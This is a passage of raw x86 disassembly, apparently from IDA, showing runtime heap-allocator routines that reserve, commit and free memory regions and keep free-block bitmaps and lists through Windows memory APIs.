mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4190B3: ; CODE XREF: sub_418ED4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_4190ED ; --------------------------------------------------------------------------- loc_4190C4: ; CODE XREF: sub_418ED4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4190DA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4190DA: ; CODE XREF: sub_418ED4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_4190ED: ; CODE XREF: sub_418ED4+192j ; sub_418ED4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_4191F8 mov eax, ds:dword_4CA6F4 test eax, eax jz loc_4191EA mov ecx, ds:dword_4CA6EC mov esi, ds:dword_422198 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, ds:dword_4CA6EC mov eax, ds:dword_4CA6F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_4CA6F4 mov ecx, ds:dword_4CA6EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_4CA6F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_4CA6F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41917B and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_4CA6F4 loc_41917B: ; CODE XREF: sub_418ED4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_4191EA push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, ds:dword_4CA6F4 push dword ptr [eax+10h] push 0 push ds:dword_4CA704 call ds:dword_4220C4 ; RtlFreeHeap mov eax, ds:dword_4CA6F8 mov edx, ds:dword_4CA6FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_4CA6F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416470 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_4CA6F8 cmp eax, ds:dword_4CA6F4 jbe short loc_4191E0 sub [ebp+arg_0], 14h loc_4191E0: ; CODE XREF: sub_418ED4+306j mov eax, ds:dword_4CA6FC mov ds:dword_4CA6F0, eax loc_4191EA: ; CODE XREF: sub_418ED4+234j ; sub_418ED4+2ABj mov eax, [ebp+arg_0] mov ds:dword_4CA6EC, edi mov ds:dword_4CA6F4, eax loc_4191F8: ; CODE XREF: sub_418ED4+38j ; sub_418ED4+227j pop edi pop esi pop ebx leave retn sub_418ED4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191FD proc near ; CODE XREF: sub_415D6D+18p ; sub_41756F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_4CA6F8 mov edx, ds:dword_4CA6FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41923D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41924D ; --------------------------------------------------------------------------- loc_41923D: ; CODE XREF: sub_4191FD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41924D: ; CODE XREF: sub_4191FD+3Ej mov eax, ds:dword_4CA6F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_419274 loc_41925B: ; CODE XREF: sub_4191FD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_419274 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41925B loc_419274: ; CODE XREF: sub_4191FD+5Cj ; sub_4191FD+6Aj cmp ebx, [ebp+var_4] jnz short loc_4192F2 mov ebx, edx loc_41927B: ; CODE XREF: sub_4191FD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_419297 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_419295 add ebx, 14h jmp short loc_41927B ; --------------------------------------------------------------------------- loc_419295: ; CODE XREF: sub_4191FD+91j cmp ebx, eax loc_419297: ; CODE XREF: sub_4191FD+83j jnz short loc_4192F2 loc_419299: ; CODE XREF: sub_4191FD+ADj cmp ebx, [ebp+var_4] jnb short loc_4192AF cmp dword ptr [ebx+8], 0 jnz short loc_4192AC add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_419299 ; --------------------------------------------------------------------------- loc_4192AC: ; CODE XREF: sub_4191FD+A5j cmp ebx, [ebp+var_4] loc_4192AF: ; CODE XREF: sub_4191FD+9Fj jnz short loc_4192D7 mov ebx, edx loc_4192B3: ; CODE XREF: sub_4191FD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_4192C7 cmp dword ptr [ebx+8], 0 jnz short loc_4192C5 add ebx, 14h jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_4192C5: ; CODE XREF: sub_4191FD+C1j cmp ebx, eax loc_4192C7: ; CODE XREF: sub_4191FD+BBj jnz short loc_4192D7 call sub_419506 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_4192EB loc_4192D7: ; CODE XREF: sub_4191FD:loc_4192AFj ; sub_4191FD:loc_4192C7j push ebx call sub_4195B7 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4192F2 loc_4192EB: ; CODE XREF: sub_4191FD+D8j xor eax, eax jmp loc_419501 ; --------------------------------------------------------------------------- loc_4192F2: ; CODE XREF: sub_4191FD+7Aj ; sub_4191FD:loc_419297j ... mov ds:dword_4CA6F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_419319 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_419350 loc_419319: ; CODE XREF: sub_4191FD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41934D loc_419336: ; CODE XREF: sub_4191FD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_419336 loc_41934D: ; CODE XREF: sub_4191FD+137j mov edx, [ebp+var_4] loc_419350: ; CODE XREF: sub_4191FD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_419379 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_419379: ; CODE XREF: sub_4191FD+16Dj ; sub_4191FD+183j test ecx, ecx jl short loc_419382 shl ecx, 1 inc edi jmp short loc_419379 ; --------------------------------------------------------------------------- loc_419382: ; CODE XREF: sub_4191FD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41939F push 3Fh pop esi loc_41939F: ; CODE XREF: sub_4191FD+19Dj cmp esi, edi jz loc_4194B4 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419410 cmp edi, 20h jge short loc_4193DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41940D mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_419410 ; --------------------------------------------------------------------------- loc_4193DF: ; CODE XREF: sub_4191FD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41940D mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_419410 ; --------------------------------------------------------------------------- loc_41940D: ; CODE XREF: sub_4191FD+1D6j ; sub_4191FD+203j mov ebx, [ebp+arg_0] loc_419410: ; CODE XREF: sub_4191FD+1B0j ; sub_4191FD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4194C0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4194B1 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_419482 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_419470 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_419470: ; CODE XREF: sub_4191FD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4194B1 ; --------------------------------------------------------------------------- loc_419482: ; CODE XREF: sub_4191FD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41949B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41949B: ; CODE XREF: sub_4191FD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4194B1: ; CODE XREF: sub_4191FD+24Ej ; sub_4191FD+283j mov ecx, [ebp+var_8] loc_4194B4: ; CODE XREF: sub_4191FD+1A4j test ecx, ecx jz short loc_4194C3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4194C3 ; --------------------------------------------------------------------------- loc_4194C0: ; CODE XREF: sub_4191FD+229j mov ecx, [ebp+var_8] loc_4194C3: ; CODE XREF: sub_4191FD+2B9j ; sub_4191FD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4194F9 cmp ebx, ds:dword_4CA6F4 jnz short loc_4194F9 mov ecx, [ebp+var_4] cmp ecx, ds:dword_4CA6EC jnz short loc_4194F9 and ds:dword_4CA6F4, 0 loc_4194F9: ; CODE XREF: sub_4191FD+2E0j ; sub_4191FD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_419501: ; CODE XREF: sub_4191FD+F0j pop edi pop esi pop ebx leave retn sub_4191FD endp ; =============== S U B R O U T I N E ======================================= sub_419506 proc near ; CODE XREF: sub_4191FD+CCp mov eax, ds:dword_4CA6F8 mov ecx, ds:dword_4CA6E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_419549 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_4CA6FC push edi push ds:dword_4CA704 call ds:dword_42217C ; RtlReAllocateHeap cmp eax, edi jz short loc_419599 add ds:dword_4CA6E8, 10h mov ds:dword_4CA6FC, eax mov eax, ds:dword_4CA6F8 loc_419549: ; CODE XREF: sub_419506+11j mov ecx, ds:dword_4CA6FC push 41C4h push 8 lea eax, [eax+eax*4] push ds:dword_4CA704 lea esi, [ecx+eax*4] call ds:dword_4220C8 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_419599 push 4 push 2000h push 100000h push edi call ds:dword_42219C ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41959D push dword ptr [esi+10h] push edi push ds:dword_4CA704 call ds:dword_4220C4 ; RtlFreeHeap loc_419599: ; CODE XREF: sub_419506+30j ; sub_419506+67j xor eax, eax jmp short loc_4195B4 ; --------------------------------------------------------------------------- loc_41959D: ; CODE XREF: sub_419506+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_4CA6F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_4195B4: ; CODE XREF: sub_419506+95j pop edi pop esi retn sub_419506 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4195B7 proc near ; CODE XREF: sub_4191FD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_4195C9: ; CODE XREF: sub_4195B7+19j test eax, eax jl short loc_4195D2 shl eax, 1 inc ebx jmp short loc_4195C9 ; --------------------------------------------------------------------------- loc_4195D2: ; CODE XREF: sub_4195B7+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_4195E7: ; CODE XREF: sub_4195B7+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4195E7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_42219C ; VirtualAlloc test eax, eax jnz short loc_41961A or eax, 0FFFFFFFFh jmp loc_4196AD ; --------------------------------------------------------------------------- loc_41961A: ; CODE XREF: sub_4195B7+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_419660 lea eax, [edi+10h] loc_419627: ; CODE XREF: sub_4195B7+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_419627 loc_419660: ; CODE XREF: sub_4195B7+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41969D or [eax+4], edi loc_41969D: ; CODE XREF: sub_4195B7+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_4196AD: ; CODE XREF: sub_4195B7+5Ej pop edi pop esi pop ebx leave retn sub_4195B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196B2 proc near ; CODE XREF: sub_41756F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_419860 test bl, 1 jnz loc_419859 add ebx, ecx cmp esi, ebx jg loc_419859 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_419729 push 3Fh pop ecx mov [ebp+var_8], ecx loc_419729: ; CODE XREF: sub_4196B2+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_419779 cmp ecx, 20h jnb short loc_419755 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_419779 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_419779 ; --------------------------------------------------------------------------- loc_419755: ; CODE XREF: sub_4196B2+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_419779 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_419779: ; CODE XREF: sub_4196B2+7Dj ; sub_4196B2+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_419847 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_4197B3 push 3Fh pop edi loc_4197B3: ; CODE XREF: sub_4196B2+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_419835 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41980C cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_4197FF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4197FF: ; CODE XREF: sub_4196B2+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_419831 ; --------------------------------------------------------------------------- loc_41980C: ; CODE XREF: sub_4196B2+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419822 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_419822: ; CODE XREF: sub_4196B2+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_419831: ; CODE XREF: sub_4196B2+158j shr edx, cl or [eax], edx loc_419835: ; CODE XREF: sub_4196B2+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41984A ; --------------------------------------------------------------------------- loc_419847: ; CODE XREF: sub_4196B2+E5j mov edx, [ebp+arg_4] loc_41984A: ; CODE XREF: sub_4196B2+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4199A0 ; --------------------------------------------------------------------------- loc_419859: ; CODE XREF: sub_4196B2+52j ; sub_4196B2+5Cj xor eax, eax jmp loc_4199A3 ; --------------------------------------------------------------------------- loc_419860: ; CODE XREF: sub_4196B2+49j jge loc_4199A0 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41988B push 3Fh pop esi loc_41988B: ; CODE XREF: sub_4196B2+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41991A mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4198A4 push 3Fh pop esi loc_4198A4: ; CODE XREF: sub_4196B2+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_4198F3 cmp esi, 20h jnb short loc_4198CF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_4198F0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4198F0 ; --------------------------------------------------------------------------- loc_4198CF: ; CODE XREF: sub_4196B2+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4198F0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4198F0: ; CODE XREF: sub_4196B2+214j ; sub_4196B2+21Bj ... mov ebx, [ebp+arg_4] loc_4198F3: ; CODE XREF: sub_4196B2+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41991A push 3Fh pop esi loc_41991A: ; CODE XREF: sub_4196B2+1DDj ; sub_4196B2+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_419997 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41996E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_419961 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_419961: ; CODE XREF: sub_4196B2+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_419993 ; --------------------------------------------------------------------------- loc_41996E: ; CODE XREF: sub_4196B2+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_419984 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_419984: ; CODE XREF: sub_4196B2+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_419993: ; CODE XREF: sub_4196B2+2BAj shr edx, cl or [eax], edx loc_419997: ; CODE XREF: sub_4196B2+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4199A0: ; CODE XREF: sub_4196B2+1A2j ; sub_4196B2:loc_419860j push 1 pop eax loc_4199A3: ; CODE XREF: sub_4196B2+1A9j pop edi pop esi pop ebx leave retn sub_4196B2 endp ; =============== S U B R O U T I N E ======================================= sub_4199A8 proc near ; CODE XREF: sub_418E04+41p ; sub_419CA0:loc_419E6Fp cmp ds:dword_42F590, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_4199BC mov esi, offset off_42F580 jmp short loc_4199D9 ; --------------------------------------------------------------------------- loc_4199BC: ; CODE XREF: sub_4199A8+Bj push 2020h push 0 push ds:dword_4CA704 call ds:dword_4220C8 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_419AE5 loc_4199D9: ; CODE XREF: sub_4199A8+12j mov ebp, ds:dword_42219C push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_419ACE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_419AC0 mov eax, offset off_42F580 cmp esi, eax jnz short loc_419A38 cmp ds:off_42F580, 0 jnz short loc_419A28 mov ds:off_42F580, eax loc_419A28: ; CODE XREF: sub_4199A8+79j cmp ds:off_42F584, 0 jnz short loc_419A4D mov ds:off_42F584, eax jmp short loc_419A4D ; --------------------------------------------------------------------------- loc_419A38: ; CODE XREF: sub_4199A8+70j mov [esi], eax mov eax, ds:off_42F584 mov [esi+4], eax mov ds:off_42F584, esi mov eax, [esi+4] mov [eax], esi loc_419A4D: ; CODE XREF: sub_4199A8+87j ; sub_4199A8+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_419A6F: ; CODE XREF: sub_4199A8+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_419A6F push ebx push 0 push edi call sub_415500 add esp, 0Ch loc_419A98: ; CODE XREF: sub_4199A8+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_419ABC or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_419A98 ; --------------------------------------------------------------------------- loc_419ABC: ; CODE XREF: sub_4199A8+F7j mov eax, esi jmp short loc_419AE7 ; --------------------------------------------------------------------------- loc_419AC0: ; CODE XREF: sub_4199A8+63j push 8000h push 0 push edi call ds:dword_422198 ; VirtualFree loc_419ACE: ; CODE XREF: sub_4199A8+4Bj cmp esi, offset off_42F580 jz short loc_419AE5 push esi push 0 push ds:dword_4CA704 call ds:dword_4220C4 ; RtlFreeHeap loc_419AE5: ; CODE XREF: sub_4199A8+2Bj ; sub_4199A8+12Cj xor eax, eax loc_419AE7: ; CODE XREF: sub_4199A8+116j pop edi pop esi pop ebp pop ebx retn sub_4199A8 endp ; =============== S U B R O U T I N E ======================================= sub_419AEC proc near ; CODE XREF: sub_419B42+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call ds:dword_422198 ; VirtualFree cmp ds:off_4315A0, esi jnz short loc_419B11 mov eax, [esi+4] mov ds:off_4315A0, eax loc_419B11: ; CODE XREF: sub_419AEC+1Bj cmp esi, offset off_42F580 jz short loc_419B39 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push ds:dword_4CA704 call ds:dword_4220C4 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_419B39: ; CODE XREF: sub_419AEC+2Bj or ds:dword_42F590, 0FFFFFFFFh pop esi retn sub_419AEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B42 proc near ; CODE XREF: sub_419C5B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ds:off_42F584 push edi loc_419B4F: ; CODE XREF: sub_419B42+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_419BED and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_419B68: ; CODE XREF: sub_419B42+72j cmp dword ptr [edi], 0F0h jnz short loc_419BA9 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call ds:dword_422198 ; VirtualFree test eax, eax jz short loc_419BA9 or dword ptr [edi], 0FFFFFFFFh dec ds:dword_4C90EC mov eax, [esi+0Ch] test eax, eax jz short loc_419B9E cmp eax, edi jbe short loc_419BA1 loc_419B9E: ; CODE XREF: sub_419B42+56j mov [esi+0Ch], edi loc_419BA1: ; CODE XREF: sub_419B42+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_419BB6 loc_419BA9: ; CODE XREF: sub_419B42+2Cj ; sub_419B42+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_419B68 loc_419BB6: ; CODE XREF: sub_419B42+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_419BED cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_419BED push 1 lea eax, [ecx+20h] pop edx loc_419BCD: ; CODE XREF: sub_419B42+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_419BDE inc edx add eax, 8 cmp edx, 400h jl short loc_419BCD loc_419BDE: ; CODE XREF: sub_419B42+8Ej cmp edx, 400h jnz short loc_419BED push ecx call sub_419AEC pop ecx loc_419BED: ; CODE XREF: sub_419B42+11j ; sub_419B42+7Dj ... cmp esi, ds:off_42F584 jz short loc_419BFF cmp [ebp+arg_0], 0 jg loc_419B4F loc_419BFF: ; CODE XREF: sub_419B42+B1j pop edi pop esi pop ebx leave retn sub_419B42 endp ; =============== S U B R O U T I N E ======================================= sub_419C04 proc near ; CODE XREF: sub_415DE1+3Ap ; sub_41756F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_42F580 push esi mov ecx, edx loc_419C10: ; CODE XREF: sub_419C04+1Cj cmp eax, [ecx+10h] jbe short loc_419C1A cmp eax, [ecx+14h] jb short loc_419C22 